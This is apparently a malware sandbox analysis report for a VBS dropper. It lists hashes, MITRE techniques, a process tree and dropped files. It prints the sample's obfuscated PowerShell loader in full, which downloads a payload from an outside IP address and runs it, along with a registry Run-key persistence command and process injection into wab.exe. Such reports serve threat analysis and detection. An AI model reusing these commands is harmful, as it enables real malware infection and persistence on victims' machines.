64acc721ccd028a8ddbef16799ddd074376bdf9358d16e1b33d91af4062ad581

Analysis

max time kernel
146s
max time network
142s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
30-06-2024 01:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

64acc721ccd028a8ddbef16799ddd074376bdf9358d16e1b33d91af4062ad581.vbs
Size

187KB
MD5

a658224accc9bc72909b9fecb935d185
SHA1

dcc72836dac07a5fdcf7b200d672939d4c5ac682
SHA256

64acc721ccd028a8ddbef16799ddd074376bdf9358d16e1b33d91af4062ad581
SHA512

1ee3cac91f3d44b29de172e3a3825b3d228f3f7a9f5259b0c2aca3959e4c07f4347d6b2e5aecf2c15fe47a4ff6ea474ed854ffd8683a7099f0d0ad18ee04de22
SSDEEP

3072:bmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZV:b08GxbKja3+DCbKCvBB/WnHXC/sLJFJC

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 816 WScript.exe
6 3000 powershell.exe

flow	pid	process
3	816	WScript.exe
6	3000	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2812790648-3157963462-487717889-1000\Software\Microsoft\Windows\CurrentVersion\Run\Hierochloe = "%Kontorvikarens% -w 1 $Jurisdiktionskompetancerne=(Get-ItemProperty -Path 'HKCU:\\Spandt\\').Mobilizables;%Kontorvikarens% ($Jurisdiktionskompetancerne)"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2508 powershell.exe
936 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2508 set thread context of 936 2508 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1780 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

3000 powershell.exe
2508 powershell.exe
2508 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2508 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3000 powershell.exe
Token: SeDebugPrivilege 2508 powershell.exe

pid	process
2508	powershell.exe
936	wab.exe

description	pid	process	target process
PID 2508 set thread context of 936	2508	powershell.exe	wab.exe

pid	process
1780	reg.exe

pid	process
3000	powershell.exe
2508	powershell.exe
2508	powershell.exe

pid	process
2508	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 816 wrote to memory of 3000	816	WScript.exe	powershell.exe
PID 816 wrote to memory of 3000	816	WScript.exe	powershell.exe
PID 816 wrote to memory of 3000	816	WScript.exe	powershell.exe
PID 3000 wrote to memory of 2520	3000	powershell.exe	cmd.exe
PID 3000 wrote to memory of 2520	3000	powershell.exe	cmd.exe
PID 3000 wrote to memory of 2520	3000	powershell.exe	cmd.exe
PID 3000 wrote to memory of 2508	3000	powershell.exe	powershell.exe
PID 3000 wrote to memory of 2508	3000	powershell.exe	powershell.exe
PID 3000 wrote to memory of 2508	3000	powershell.exe	powershell.exe
PID 3000 wrote to memory of 2508	3000	powershell.exe	powershell.exe
PID 2508 wrote to memory of 2128	2508	powershell.exe	cmd.exe
PID 2508 wrote to memory of 2128	2508	powershell.exe	cmd.exe
PID 2508 wrote to memory of 2128	2508	powershell.exe	cmd.exe
PID 2508 wrote to memory of 2128	2508	powershell.exe	cmd.exe
PID 2508 wrote to memory of 936	2508	powershell.exe	wab.exe
PID 2508 wrote to memory of 936	2508	powershell.exe	wab.exe
PID 2508 wrote to memory of 936	2508	powershell.exe	wab.exe
PID 2508 wrote to memory of 936	2508	powershell.exe	wab.exe
PID 2508 wrote to memory of 936	2508	powershell.exe	wab.exe
PID 2508 wrote to memory of 936	2508	powershell.exe	wab.exe
PID 936 wrote to memory of 1816	936	wab.exe	cmd.exe
PID 936 wrote to memory of 1816	936	wab.exe	cmd.exe
PID 936 wrote to memory of 1816	936	wab.exe	cmd.exe
PID 936 wrote to memory of 1816	936	wab.exe	cmd.exe
PID 1816 wrote to memory of 1780	1816	cmd.exe	reg.exe
PID 1816 wrote to memory of 1780	1816	cmd.exe	reg.exe
PID 1816 wrote to memory of 1780	1816	cmd.exe	reg.exe
PID 1816 wrote to memory of 1780	1816	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\64acc721ccd028a8ddbef16799ddd074376bdf9358d16e1b33d91af4062ad581.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Orchic81 Chippene Weanable Forlystelsesstedet215 Introduct Acutilinguae Prename229 Gaines Fagbibliotekets Antihistamin Forgrundsfarver Evalinas188 Menialness lufttrafikvej Karrierers Disposability Toggles Schoolish136 Optrinet Brechtian Ekviperingerne Behoevede Tronbestigelserne Reprokopisters Orchic81 Chippene Weanable Forlystelsesstedet215 Introduct Acutilinguae Prename229 Gaines Fagbibliotekets Antihistamin Forgrundsfarver Evalinas188 Menialness lufttrafikvej Karrierers Disposability Toggles Schoolish136 Optrinet Brechtian Ekviperingerne Behoevede Tronbestigelserne Reprokopisters';If (${host}.CurrentCulture) {$Vkstpolitik149++;}Function Undercarrying126($Runtm){$Straffesparksfeltet=$Runtm.Length-$Vkstpolitik149;$Absorptivity100='SUBsTRI';$Absorptivity100+='ng';For( $Thionins=1;$Thionins -lt $Straffesparksfeltet;$Thionins+=2){$Orchic81+=$Runtm.$Absorptivity100.Invoke( $Thionins, $Vkstpolitik149);}$Orchic81;}function Gallanted($Beechwoods){ & ($Nonplastic) ($Beechwoods);}$Gitres=Undercarrying126 'hMSo,zhiRl l a / 5M.s0 ( W,i nMd.oUw sI TNRTN C1m0 . 0I;T .WIiKnC6B4R;T x 6 4 ;, irbvU:W1 2.1 . 0T), BGHeJc,k o /E2,0B1.0H0 1L0.1 .F i,rHe.fSo x,/ 1A2D1B. 0 ';$Raceme=Undercarrying126 'UUDs,eGr -UA.g e,nUtB ';$Introduct=Undercarrying126 'Fh t t.p,:A/Z/A1 0,3.. 1,9M5t.f2O3U7M. 4,3K/PFNiPn a.n s,lSo.v eusu2S0 3 .HmLi x ';$Kopierpapirets=Undercarrying126 'i>, ';$Nonplastic=Undercarrying126 ' iSeAx, ';$Flamboyancy='Gaines';$Synodsman = Undercarrying126 'Se.c hSo ,%Ca pdp d.a t,a %,\ZJ.iSnBg.o,i sWt i.c,8,2.. KAo.b A&S&S PeScChFoK t. ';Gallanted (Undercarrying126 ' $Cg lsoPbta l,:HSCuSr,pglUi c e.s = ( cSmLdW / cF $,S yfn,o dSsFm a nv)L ');Gallanted (Undercarrying126 ' $CgSlDo.b a lF:RF o,rElCy s t.e l s e,sKsRt eRd eNtS2.1,5 =A$SI,n,tLrKo.d uAcDt,.,sUp lSi.tG(u$UKAoOpBimeMrMp,a pHi.r e t sC) ');Gallanted (Undercarrying126 '.[MN,e t . S e rPvMi,cIe P.o i nEt MnaDn.a g e r ] :,: S e c,uCr i tHySP r.o,t oRc,o lT =T A[ NDeTt . SBe,c uBrKi tGyCP r oFt oMc,o.lKT y.pBe ] :U:,T l sK1J2 ');$Introduct=$Forlystelsesstedet215[0];$Tandrodsbetndelsernes= (Undercarrying126 'K$BgHlPoHbMa lD:,N o n e.faf uSsFi,vSe n,e,sfs.=NN eVw -OODbijLe cDtT ASuy.s t.e,m .,Nke,t ..W eBb C lDi.eGn t');$Tandrodsbetndelsernes+=$Surplices[1];Gallanted ($Tandrodsbetndelsernes);Gallanted (Undercarrying126 ',$.N.oPn.e,f f uSs iDv e,nCePs.s...HTe aUdLe r sS[,$ R aHc,e mle ]R=D$ G i t r e,sH ');$Homeothermism=Undercarrying126 'V$ANQo nbeWfKf u,sOiJv,eSnIeDsGs .TD,oNw n.l o aRdCFUi l e ( $IIPn tFrRond u.c,tS,J$MBBeKhSoBe,v.eSd.e ). ';$Behoevede=$Surplices[0];Gallanted (Undercarrying126 'T$Ag lLo bLaFlY: B.i o,fba,g eDt sP=,(FTpeFs t,-SPTa t h, p$ B.eph,o,eUvSe dmeS). ');while (!$Biofagets) {Gallanted (Undercarrying126 ',$,g.l.oKbCaSl : JPo rFdEbJrPr eInSeU= $PtVrSuPe ') ;Gallanted $Homeothermism;Gallanted (Undercarrying126 ',S t a rCtC-TSSl e.e pP I4 ');Gallanted (Undercarrying126 '.$ gAl oLb a lF: B,iPo f.a gYeCt,sD=F(FT,eSsNt.-TPSa tDh, S$BB e.h o e v,eOd e )S ') ;Gallanted (Undercarrying126 ' $ g l o,bAa,l.: WDe a n a b loe,= $Fg.lEombFaUl,:PCDhFiPpBpCe nRe,+E+P%R$CFSoIrIl y sPt e l sOeFsUs,t eAd evt 2a1m5..HcMo.u n tT ') ;$Introduct=$Forlystelsesstedet215[$Weanable];}$Devalueringer=356930;$Tomblike=24818;Gallanted (Undercarrying126 'T$MgFl ogb.a,lF:AF,a.gCbNi.b l,iMo tPeAk.e t.sN P= HG e tD-SC o nTtUe nBtB $ B e h.oVeSvRe dCe. ');Gallanted (Undercarrying126 'T$AgBl.oFbLaDl,:KBBi tsnFiRv e atu,s. =. P[bS,yRs.tIe m .HC.oOn vHeSr.t ] :O: F r,oCm BAaAsKe 6,4TS,t rPi n.g,(R$cFAaLg.b,ihbSl iEoUtSeEk e tSs )B ');Gallanted (Undercarrying126 ' $NgFl,o b.a lu:TE v.a.lSi n aJs 1F8 8 =F J[NSPy sUtRe,mS. TBeUx tC.AETn cto dFiRnsgo]E:f:aA,SUC IPIS.IGAe.t SEtSr iBnPgB( $FBoi tCn i vSe aSu sK)P ');Gallanted (Undercarrying126 'L$TgElUoCb aSlE:GUEiTg,e.nKn eFmTt.rRnOgFeAlPi,g,hLe dDeDnA= $VEgv a,lMi n.a s,1 8 8M. s uTb sPtFr.i,n.g (P$FDKeKv.a lSuGe,r i nDgpeBr ,I$OTBo,m,b,lUinkeeL). ');Gallanted $Uigennemtrngeligheden;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3000

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Jingoistic82.Kob && echo t"
3⤵
PID:2520

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Orchic81 Chippene Weanable Forlystelsesstedet215 Introduct Acutilinguae Prename229 Gaines Fagbibliotekets Antihistamin Forgrundsfarver Evalinas188 Menialness lufttrafikvej Karrierers Disposability Toggles Schoolish136 Optrinet Brechtian Ekviperingerne Behoevede Tronbestigelserne Reprokopisters Orchic81 Chippene Weanable Forlystelsesstedet215 Introduct Acutilinguae Prename229 Gaines Fagbibliotekets Antihistamin Forgrundsfarver Evalinas188 Menialness lufttrafikvej Karrierers Disposability Toggles Schoolish136 Optrinet Brechtian Ekviperingerne Behoevede Tronbestigelserne Reprokopisters';If (${host}.CurrentCulture) {$Vkstpolitik149++;}Function Undercarrying126($Runtm){$Straffesparksfeltet=$Runtm.Length-$Vkstpolitik149;$Absorptivity100='SUBsTRI';$Absorptivity100+='ng';For( $Thionins=1;$Thionins -lt $Straffesparksfeltet;$Thionins+=2){$Orchic81+=$Runtm.$Absorptivity100.Invoke( $Thionins, $Vkstpolitik149);}$Orchic81;}function Gallanted($Beechwoods){ & ($Nonplastic) ($Beechwoods);}$Gitres=Undercarrying126 'hMSo,zhiRl l a / 5M.s0 ( W,i nMd.oUw sI TNRTN C1m0 . 0I;T .WIiKnC6B4R;T x 6 4 ;, irbvU:W1 2.1 . 0T), BGHeJc,k o /E2,0B1.0H0 1L0.1 .F i,rHe.fSo x,/ 1A2D1B. 0 ';$Raceme=Undercarrying126 'UUDs,eGr -UA.g e,nUtB ';$Introduct=Undercarrying126 'Fh t t.p,:A/Z/A1 0,3.. 1,9M5t.f2O3U7M. 4,3K/PFNiPn a.n s,lSo.v eusu2S0 3 .HmLi x ';$Kopierpapirets=Undercarrying126 'i>, ';$Nonplastic=Undercarrying126 ' iSeAx, ';$Flamboyancy='Gaines';$Synodsman = Undercarrying126 'Se.c hSo ,%Ca pdp d.a t,a %,\ZJ.iSnBg.o,i sWt i.c,8,2.. KAo.b A&S&S PeScChFoK t. ';Gallanted (Undercarrying126 ' $Cg lsoPbta l,:HSCuSr,pglUi c e.s = ( cSmLdW / cF $,S yfn,o dSsFm a nv)L ');Gallanted (Undercarrying126 ' $CgSlDo.b a lF:RF o,rElCy s t.e l s e,sKsRt eRd eNtS2.1,5 =A$SI,n,tLrKo.d uAcDt,.,sUp lSi.tG(u$UKAoOpBimeMrMp,a pHi.r e t sC) ');Gallanted (Undercarrying126 '.[MN,e t . S e rPvMi,cIe P.o i nEt MnaDn.a g e r ] :,: S e c,uCr i tHySP r.o,t oRc,o lT =T A[ NDeTt . SBe,c uBrKi tGyCP r oFt oMc,o.lKT y.pBe ] :U:,T l sK1J2 ');$Introduct=$Forlystelsesstedet215[0];$Tandrodsbetndelsernes= (Undercarrying126 'K$BgHlPoHbMa lD:,N o n e.faf uSsFi,vSe n,e,sfs.=NN eVw -OODbijLe cDtT ASuy.s t.e,m .,Nke,t ..W eBb C lDi.eGn t');$Tandrodsbetndelsernes+=$Surplices[1];Gallanted ($Tandrodsbetndelsernes);Gallanted (Undercarrying126 ',$.N.oPn.e,f f uSs iDv e,nCePs.s...HTe aUdLe r sS[,$ R aHc,e mle ]R=D$ G i t r e,sH ');$Homeothermism=Undercarrying126 'V$ANQo nbeWfKf u,sOiJv,eSnIeDsGs .TD,oNw n.l o aRdCFUi l e ( $IIPn tFrRond u.c,tS,J$MBBeKhSoBe,v.eSd.e ). ';$Behoevede=$Surplices[0];Gallanted (Undercarrying126 'T$Ag lLo bLaFlY: B.i o,fba,g eDt sP=,(FTpeFs t,-SPTa t h, p$ B.eph,o,eUvSe dmeS). ');while (!$Biofagets) {Gallanted (Undercarrying126 ',$,g.l.oKbCaSl : JPo rFdEbJrPr eInSeU= $PtVrSuPe ') ;Gallanted $Homeothermism;Gallanted (Undercarrying126 ',S t a rCtC-TSSl e.e pP I4 ');Gallanted (Undercarrying126 '.$ gAl oLb a lF: B,iPo f.a gYeCt,sD=F(FT,eSsNt.-TPSa tDh, S$BB e.h o e v,eOd e )S ') ;Gallanted (Undercarrying126 ' $ g l o,bAa,l.: WDe a n a b loe,= $Fg.lEombFaUl,:PCDhFiPpBpCe nRe,+E+P%R$CFSoIrIl y sPt e l sOeFsUs,t eAd evt 2a1m5..HcMo.u n tT ') ;$Introduct=$Forlystelsesstedet215[$Weanable];}$Devalueringer=356930;$Tomblike=24818;Gallanted (Undercarrying126 'T$MgFl ogb.a,lF:AF,a.gCbNi.b l,iMo tPeAk.e t.sN P= HG e tD-SC o nTtUe nBtB $ B e h.oVeSvRe dCe. ');Gallanted (Undercarrying126 'T$AgBl.oFbLaDl,:KBBi tsnFiRv e atu,s. =. P[bS,yRs.tIe m .HC.oOn vHeSr.t ] :O: F r,oCm BAaAsKe 6,4TS,t rPi n.g,(R$cFAaLg.b,ihbSl iEoUtSeEk e tSs )B ');Gallanted (Undercarrying126 ' $NgFl,o b.a lu:TE v.a.lSi n aJs 1F8 8 =F J[NSPy sUtRe,mS. TBeUx tC.AETn cto dFiRnsgo]E:f:aA,SUC IPIS.IGAe.t SEtSr iBnPgB( $FBoi tCn i vSe aSu sK)P ');Gallanted (Undercarrying126 'L$TgElUoCb aSlE:GUEiTg,e.nKn eFmTt.rRnOgFeAlPi,g,hLe dDeDnA= $VEgv a,lMi n.a s,1 8 8M. s uTb sPtFr.i,n.g (P$FDKeKv.a lSuGe,r i nDgpeBr ,I$OTBo,m,b,lUinkeeL). ');Gallanted $Uigennemtrngeligheden;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2508

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Jingoistic82.Kob && echo t"
4⤵
PID:2128

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:936

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hierochloe" /t REG_EXPAND_SZ /d "%Kontorvikarens% -w 1 $Jurisdiktionskompetancerne=(Get-ItemProperty -Path 'HKCU:\Spandt\').Mobilizables;%Kontorvikarens% ($Jurisdiktionskompetancerne)"
5⤵
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hierochloe" /t REG_EXPAND_SZ /d "%Kontorvikarens% -w 1 $Jurisdiktionskompetancerne=(Get-ItemProperty -Path 'HKCU:\Spandt\').Mobilizables;%Kontorvikarens% ($Jurisdiktionskompetancerne)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:1780

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab169E.tmp
Filesize
67KB

MD5
2d3dcf90f6c99f47e7593ea250c9e749

SHA1
51be82be4a272669983313565b4940d4b1385237

SHA256
8714e7be9f9b6de26673d9d09bd4c9f41b1b27ae10b1d56a7ad83abd7430ebd4

SHA512
9c11dd7d448ffebe2167acde37be77d42175edacf5aaf6fb31d3bdfe6bb1f63f5fdbc9a0a2125ed9d5ce0529b6b548818c8021532e1ea6b324717cc9bec0aaa5

Download Submit
C:\Users\Admin\AppData\Roaming\Jingoistic82.Kob
Filesize
497KB

MD5
78dab822fd4044d5a7f38064fe24d552

SHA1
44f35b5af779432f914b4d0c761bee819f5259d7

SHA256
2e4dd790bc8dd47cbcb7d7f6c40ce3e9970ded5b5f8af47b8be13af7c11c5c05

SHA512
a9d2366077a72d89edf689cbaf6d4ae1d4e41a691ae77e02a36cede81fdc29df8bd4daecd7976d12bc23694ee2a81f4e08b35586177b7df23db263113fda0b57

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4O015YM8Y1SPP4CAFS2Q.temp
Filesize
7KB

MD5
e17f5b55674dd660dfeb2b2e688262ed

SHA1
5098c2e30b8f9b6c28d11ad3c26f8fc0025accdf

SHA256
2d3fcfee542f3050852b0c2b51aaacef509929fa362043e0e6055f241de4a890

SHA512
82cc79ad20ae4d03d52ce2dddfca3e8ed2bf7e93c1600b7ea1801e5bdf760ffbb069702caa0cc7349b091bdb991ef5dadb8f54fdce44a9b956f3ee1499e6a620

Download Submit
memory/936-35-0x00000000005F0000-0x0000000001652000-memory.dmp

Filesize
16.4MB

Download
memory/2508-33-0x00000000067A0000-0x00000000095B6000-memory.dmp

Filesize
46.1MB

Download
memory/3000-23-0x000007FEF5050000-0x000007FEF59ED000-memory.dmp

Filesize
9.6MB

Download
memory/3000-22-0x000007FEF5050000-0x000007FEF59ED000-memory.dmp

Filesize
9.6MB

Download
memory/3000-24-0x000007FEF5050000-0x000007FEF59ED000-memory.dmp

Filesize
9.6MB

Download
memory/3000-25-0x000007FEF5050000-0x000007FEF59ED000-memory.dmp

Filesize
9.6MB

Download
memory/3000-26-0x000007FEF530E000-0x000007FEF530F000-memory.dmp

Filesize
4KB

Download
memory/3000-20-0x000007FEF5050000-0x000007FEF59ED000-memory.dmp

Filesize
9.6MB

Download
memory/3000-21-0x00000000028F0000-0x00000000028F8000-memory.dmp

Filesize
32KB

Download
memory/3000-19-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/3000-18-0x000007FEF530E000-0x000007FEF530F000-memory.dmp

Filesize
4KB

Download
memory/3000-41-0x000007FEF5050000-0x000007FEF59ED000-memory.dmp

Filesize
9.6MB

Download